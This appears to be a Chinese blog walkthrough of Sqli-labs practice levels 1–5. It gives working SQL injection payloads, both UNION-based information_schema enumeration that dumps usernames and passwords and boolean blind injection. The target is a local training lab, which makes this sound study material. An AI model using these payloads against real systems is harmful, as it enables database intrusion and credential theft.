当前位置:网站首页>Sqli-labs靶场1-5
Sqli-labs靶场1-5
2022-06-26 10:02:00 【柒海】
流程
- 判断注入点和注入类型
- 判断字段个数
- 判断显示位
- 爆库
- 爆表
- 爆字段名
- 爆内容
配置注意事项
使用sqli-labs本地靶场,配置本地靶场需要注意的问题:
数据库配置文件db-creds.inc


php版本由于该靶场比较古早,所以php的版本要选择更低一点的,比如5.3.29

Less-1 单引号注入
1. 判断注入点和注入类型
单引号报错 ?id=-1' --+
2. 查字段个数
?id=1' order by 4--+
3. 判断显示位
?id=-1' union select 1,2,3 --+
4. 查库
-1' union select 1,2,database()--+
5. 查表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
6. 查列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
7. 查内容
-1' union select 1,group_concat(username),3 from security.users --+
-1' union select 1,group_concat(username),group_concat(password) from users --+
判断类型
单引号回显正常,查询语句闭合,存在注入点


1’ and 1=1回显正常,1’ and 1=2回显错误
判断字段

order by 3正常,order by 4报错,则存在三个字段
判断显示位

爆库名
爆出库名:security
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆出表名:emails,referers,uagents,users
选择一个表,users
爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

Less-2 数字注入
判断类型

and 1=1正常,and 1=2 报错,判断是数字型注入
判断字段

order by判断字段个数,3个字段
判断显示位

爆库

爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+

Less-3 单引号+括号 注入
判断类型
发现 ') 可以闭合
ps:
在实验过程中,发现双引号也可以闭合,但是执行后续命令失败,应该是语句判别时不太对。
查看对应的sql语句能明显知道这一关是 ') 去闭合。
判断字段

字段数为3
判断显示位

爆库

爆表
Less-3/?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆列
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段

Less-4 双引号+括号 注入
判断类型
双引号+括号可以闭合
分析源代码:
对输入的 id 添加了双引号,执行语句里又添加了括号
判断字段


判断显示位

爆库

爆表
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆列
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+

爆字段
Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+

Less-5
判断类型

单引号闭合
判断字段数


判断显示位
没有显示位,尝试报错注入或者盲注
第五关参考:https://blog.csdn.net/Fly_hps/article/details/80247032
盲注—基于布尔
测试数据库版本:
/Less-5/?id=1' and left(version(),1)=5 --+
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。

判断数据库名字的长度
测试数据库长度
Less-5/?id=1' and length(database())=8--+

爆破库名 left(a,b)
测试库名的第一位
Less-5/?id=1' and left(database(),1)>'a'--+ Less-5/?id=1' and left(database(),1)='s'--+
测试库名的前两位
Less-5/?id=1' and left(database(),2)='se'--+
...


经过测试大于、小于之后,我们最后可以用 等于 确定数据库的第一位是 s
ps:
在我们不知情的情况下,我们可以使用二分法来提高注入效率
之后的判断都是一样的,依次猜解就好,只需要修改left(a,b)中b的位置(该位置决定从哪个位置开始判断测试)。
最终测试出数据库的名字为 security
爆破表 substr()、ascii()
获取security数据库的第一个表的第一个字符:
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+ /Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
可以通过修改substr(str,start,length)中的第二个参数“start”来猜解第一个表的第二个字符的内容。
猜测第二个表的名称,可以通过limit start,length来实现,通过修改start的值,来实现对第二个参数的获取与测试。
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+
第一个表:
经测试,数据库的第一个表的第一个字符为 e
第二个表:
经过测试,我们可以确定数据库名称为security,而且数据库中存在user表。
爆列 regexp
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+ Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
确定该user表中存在us****的列
确定存在列username
爆字段 ord()、mid()
获取user表中username中第一行的第一个字符的ascii:
/Less-5/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
cast(username as char)将username转换成char类型,
注意这里是cast函数( 语法:cast(字段名 as 转换的类型 ) )
ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。
0x20是空格的ascii码的十六进制表示。
mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。
ord()函数同ascii(),将字符转为ascii值

报错注入
盲注有点痛苦,报错之后空了再来写吧
边栏推荐
- Postman入门教程
- Global and Chinese market for change and configuration management software 2022-2028: Research Report on technology, participants, trends, market size and share
- SwiftUI 开发经验之为离线优先的应用程序设计数据层
- 哪些PHP开源作品值得关注
- Expand and collapse too high div
- MySQL 8th job
- Easyexcel - Excel read / write tool
- CentOS installs redis multi master multi slave cluster
- MySQL project 8 summary
- nacos2.x.x启动报错信息Error creating bean with name ‘grpcClusterServer‘;
猜你喜欢
随机推荐
Update mysql5.6 to 5.7 under Windows
看我在Map<String, String>集合中,存入Integer类型数据
MySQL performance monitoring and SQL statements
【在线仿真】Arduino UNO PWM 控制直流电机转速
OpenCV图像处理-灰度处理
April 13, 2021 interview with beaver family
JS take the date of the previous month 【 pit filling 】
Reasons for "unresolved external symbols" during vs or QT compilation link:
Expand and collapse too high div
Redis (IV) redis association table caching
【深度学习理论】(7) 长短时记忆网络 LSTM
ISO 26262之——2功能安全概念
MySQL第七次作业-更新数据
Reshape a two-dimensional array with 3 rows and 3 columns to find the sum of the diagonals
Tape library simple record 1
RDB持久化验证测试
Concise course of probability theory and statistics in engineering mathematics second edition review outline
CentOS安装Redis多主多从集群
MySQL seventh job - update data
六月集训(第26天) —— 并查集









